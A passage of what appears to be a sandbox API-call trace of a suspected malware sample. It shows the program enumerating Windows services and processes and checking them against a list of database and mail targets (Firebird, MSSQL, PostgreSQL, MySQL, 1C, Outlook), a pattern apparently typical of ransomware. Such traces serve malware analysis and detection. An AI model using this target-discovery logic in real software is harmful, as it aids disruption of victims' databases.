(lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0154.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0154.245] lstrlenW (lpString="Power") returned 5 [0154.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0154.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0154.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0154.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0154.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0154.245] lstrlenW (lpString="ProfSvc") returned 7 [0154.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0154.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0154.245] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0154.245] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0154.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0154.245] lstrlenW (lpString="RpcEptMapper") returned 12 [0154.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.245] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0154.245] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0154.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0154.245] lstrlenW (lpString="RpcSs") returned 5 [0154.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0154.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0154.246] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0154.246] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0154.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0154.246] lstrlenW (lpString="SamSs") returned 5 [0154.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0154.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0154.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0154.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0154.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0154.246] lstrlenW (lpString="Schedule") returned 8 [0154.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0154.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0154.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0154.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0154.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0154.246] lstrlenW (lpString="SENS") returned 4 [0154.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0154.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0154.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0154.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0154.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0154.246] lstrlenW (lpString="ShellHWDetection") returned 16 [0154.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.247] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0154.247] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0154.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0154.247] lstrlenW (lpString="Spooler") returned 7 [0154.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0154.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0154.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0154.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0154.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0154.247] lstrlenW (lpString="SysMain") returned 7 [0154.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0154.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0154.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0154.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0154.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0154.247] lstrlenW (lpString="Themes") returned 6 [0154.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0154.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0154.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0154.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0154.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0154.247] lstrlenW (lpString="TrkWks") returned 6 [0154.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0154.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0154.247] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0154.248] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0154.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0154.248] lstrlenW (lpString="UxSms") returned 5 [0154.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0154.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0154.248] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0154.248] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0154.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0154.248] lstrlenW (lpString="WdiServiceHost") returned 14 [0154.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0154.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0154.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0154.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0154.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0154.248] lstrlenW (lpString="WdiSystemHost") returned 13 [0154.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0154.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0154.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0154.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0154.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0154.248] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0154.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0154.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0154.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0154.249] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0154.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0154.249] lstrlenW (lpString="Winmgmt") returned 7 [0154.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0154.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0154.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0154.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0154.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0154.249] lstrlenW (lpString="WPDBusEnum") returned 10 [0154.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0154.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0154.249] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0154.249] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0154.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0154.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0154.249] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0154.251] Process32FirstW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.252] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0154.253] lstrlenW (lpString="System") returned 6 [0154.253] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0154.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0154.253] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0154.253] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0154.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0154.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0154.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0154.253] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0154.253] lstrlenW (lpString="smss.exe") returned 8 [0154.253] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0154.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0154.253] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0154.253] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0154.254] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0154.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0154.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0154.254] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.254] lstrlenW (lpString="csrss.exe") returned 9 [0154.254] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0154.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0154.254] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0154.254] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0154.254] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0154.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0154.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0154.254] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0154.255] lstrlenW (lpString="wininit.exe") returned 11 [0154.255] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0154.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0154.255] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0154.255] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0154.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0154.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0154.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0154.255] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.256] lstrlenW (lpString="csrss.exe") returned 9 [0154.256] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0154.256] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0154.256] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0154.256] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0154.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0154.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0154.256] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0154.256] lstrlenW (lpString="winlogon.exe") returned 12 [0154.257] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0154.257] lstrlenW (lpString="services.exe") returned 12 [0154.257] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0154.257] lstrlenW (lpString="lsass.exe") returned 9 [0154.257] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0154.258] lstrlenW (lpString="lsm.exe") returned 7 [0154.258] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.258] lstrlenW (lpString="svchost.exe") returned 11 [0154.258] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.259] lstrlenW (lpString="svchost.exe") returned 11 [0154.259] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.259] lstrlenW (lpString="svchost.exe") returned 11 [0154.259] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.260] lstrlenW (lpString="svchost.exe") returned 11 [0154.260] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.260] lstrlenW (lpString="svchost.exe") returned 11 [0154.260] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0154.260] lstrlenW (lpString="audiodg.exe") returned 11 [0154.260] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.261] lstrlenW (lpString="svchost.exe") returned 11 [0154.261] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.261] lstrlenW (lpString="svchost.exe") returned 11 [0154.261] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0154.262] lstrlenW (lpString="spoolsv.exe") returned 11 [0154.262] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0154.262] lstrlenW (lpString="taskhost.exe") returned 12 [0154.262] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.262] lstrlenW (lpString="svchost.exe") returned 11 [0154.263] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0154.263] lstrlenW (lpString="userinit.exe") returned 12 [0154.263] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0154.263] lstrlenW (lpString="dwm.exe") returned 7 [0154.263] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0154.264] lstrlenW (lpString="explorer.exe") returned 12 [0154.264] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0154.264] lstrlenW (lpString="3G6885.exe") returned 10 [0154.264] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0154.265] lstrlenW (lpString="reader_sl.exe") returned 13 [0154.265] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0154.265] lstrlenW (lpString="drvinst.exe") returned 11 [0154.265] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0154.265] lstrlenW (lpString="taskhost.exe") returned 12 [0154.265] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0154.266] lstrlenW (lpString="consent.exe") returned 11 [0154.266] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0154.266] CloseHandle (hObject=0x384) returned 1 [0154.266] Sleep (dwMilliseconds=0x1f4) [0155.071] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8978 [0155.072] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0155.072] GetLastError () returned 0xea [0155.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0155.072] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0155.073] CloseServiceHandle (hSCObject=0x41d8978) returned 1 [0155.073] lstrlenW (lpString="Appinfo") returned 7 [0155.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0155.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0155.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0155.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0155.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0155.073] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0155.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.073] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.073] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.073] lstrlenW (lpString="AudioSrv") returned 8 [0155.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0155.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0155.073] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0155.073] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0155.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0155.073] lstrlenW (lpString="BFE") returned 3 [0155.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.073] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.073] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.074] lstrlenW (lpString="CryptSvc") returned 8 [0155.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.074] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.074] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.074] lstrlenW (lpString="CscService") returned 10 [0155.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0155.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0155.074] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0155.074] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0155.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0155.074] lstrlenW (lpString="DcomLaunch") returned 10 [0155.074] lstrcmpiW 